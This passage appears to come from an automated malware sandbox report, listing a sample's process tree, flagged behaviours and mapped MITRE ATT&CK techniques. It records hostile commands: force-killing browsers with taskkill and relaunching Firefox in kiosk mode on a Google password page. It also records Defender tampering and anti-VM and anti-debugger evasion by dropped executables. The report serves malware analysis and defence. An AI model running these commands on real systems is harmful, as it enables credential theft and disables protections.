      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4836
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:740
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3908
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4028
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4380
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2004 -parentBuildID 20240401114208 -prefsHandle 1940 -prefMapHandle 1932 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6407342a-0195-43cf-a6db-213f1bd86819} 4380 "\\.\pipe\gecko-crash-server-pipe.4380" gpu
        6⤵
        
        PID:752
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2448 -parentBuildID 20240401114208 -prefsHandle 2440 -prefMapHandle 2436 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c7c4e15c-09ab-4de3-920b-d456b747ff31} 4380 "\\.\pipe\gecko-crash-server-pipe.4380" socket
        6⤵
        
        PID:4892
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3260 -childID 1 -isForBrowser -prefsHandle 3196 -prefMapHandle 3384 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1256 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a6928c85-3092-4fe1-9b0e-0af34aefb85f} 4380 "\\.\pipe\gecko-crash-server-pipe.4380" tab
        6⤵
        
        PID:4200
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2592 -childID 2 -isForBrowser -prefsHandle 2872 -prefMapHandle 1288 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1256 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {282cc785-b6f1-4a61-8622-7f53cbd0b305} 4380 "\\.\pipe\gecko-crash-server-pipe.4380" tab
        6⤵
        
        PID:3728
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4912 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4896 -prefMapHandle 4888 -prefsLen 29197 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {822597e6-2577-4a5a-922b-8a6db975529e} 4380 "\\.\pipe\gecko-crash-server-pipe.4380" utility
        6⤵
        Checks processor information in registry
        
        PID:5624
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5532 -childID 3 -isForBrowser -prefsHandle 5476 -prefMapHandle 5524 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1256 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d5c214ef-6e52-49fd-986c-9b47bde2c4aa} 4380 "\\.\pipe\gecko-crash-server-pipe.4380" tab
        6⤵
        
        PID:1644
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5656 -childID 4 -isForBrowser -prefsHandle 5620 -prefMapHandle 5616 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1256 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f81b254c-3368-4f60-adae-feb92e5ed561} 4380 "\\.\pipe\gecko-crash-server-pipe.4380" tab
        6⤵
        
        PID:4360
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5832 -childID 5 -isForBrowser -prefsHandle 5836 -prefMapHandle 5840 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1256 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fad7bcbe-8528-426c-8c41-0bddd789047c} 4380 "\\.\pipe\gecko-crash-server-pipe.4380" tab
        6⤵
        
        PID:640
- - C:\Users\Admin\AppData\Local\Temp\1013371001\d416c16af6.exe
    "C:\Users\Admin\AppData\Local\Temp\1013371001\d416c16af6.exe"
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Windows security modification
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2360 -ip 2360
1⤵
PID:2760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2360 -ip 2360
1⤵
PID:3868

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4576

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion